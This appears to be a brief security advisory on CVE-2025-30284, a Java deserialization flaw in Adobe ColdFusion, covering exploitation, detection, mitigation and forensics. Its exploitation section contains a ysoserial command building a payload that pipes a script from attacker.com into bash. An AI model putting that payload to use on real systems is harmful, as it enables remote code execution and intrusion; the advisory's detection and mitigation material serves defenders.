How the CVE Works:
CVE-2025-30284 is a deserialization vulnerability in Adobe ColdFusion (versions 2023.12, 2021.18, 2025.0, and earlier). Attackers craft malicious serialized objects embedded in files (e.g., HTTP requests, documents). When ColdFusion deserializes this data without proper validation, it triggers arbitrary code execution under the victim’s privileges. Exploitation requires user interaction—opening a malicious file—but bypasses typical security checks due to insecure deserialization practices in ColdFusion’s Java-based components.
DailyCVE Form:
Platform: Adobe ColdFusion
Version: 2023.12, 2021.18, 2025.0
Vulnerability: Deserialization RCE
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation:
- Malicious Payload: Craft a serialized Java object (e.g., using
ysoserial) with command injection:java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh | bash" > payload.bin
- Delivery: Embed payload in a file (PDF, HTTP request) sent to the victim.
- Trigger: Victim opens file, ColdFusion deserializes payload, executing commands.
Detection:
- Logs: Check ColdFusion logs for abnormal Java deserialization (
InvokerTransformer,ObjectInputStream):grep -r "java.io.ObjectInputStream" /opt/coldfusion/logs
- Network: Monitor outbound connections from ColdFusion servers:
tcpdump -i eth0 'dst port 80 or 443' -w /tmp/cf_traffic.pcap
Mitigation:
- Patch: Apply Adobe’s fix (if available) or upgrade to a non-vulnerable version.
2. WAF Rules: Block serialized object patterns:
location / {
if ($request_body ~ "\xac\xed\x00\x05") { return 403; }
}
3. Java Flags: Disable dangerous serialization:
-Dorg.apache.commons.collections.enableUnsafeSerialization=false
4. Isolation: Run ColdFusion in a restricted container:
FROM adobe/coldfusion:2025.1 USER nobody
Forensics:
- Extract artifacts from compromised systems:
strings /proc/<coldfusion_pid>/mem | grep -A 20 "Runtime.exec"
- Analyze heap dumps for injected classes:
jhat /path/to/heapdump.hprof
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
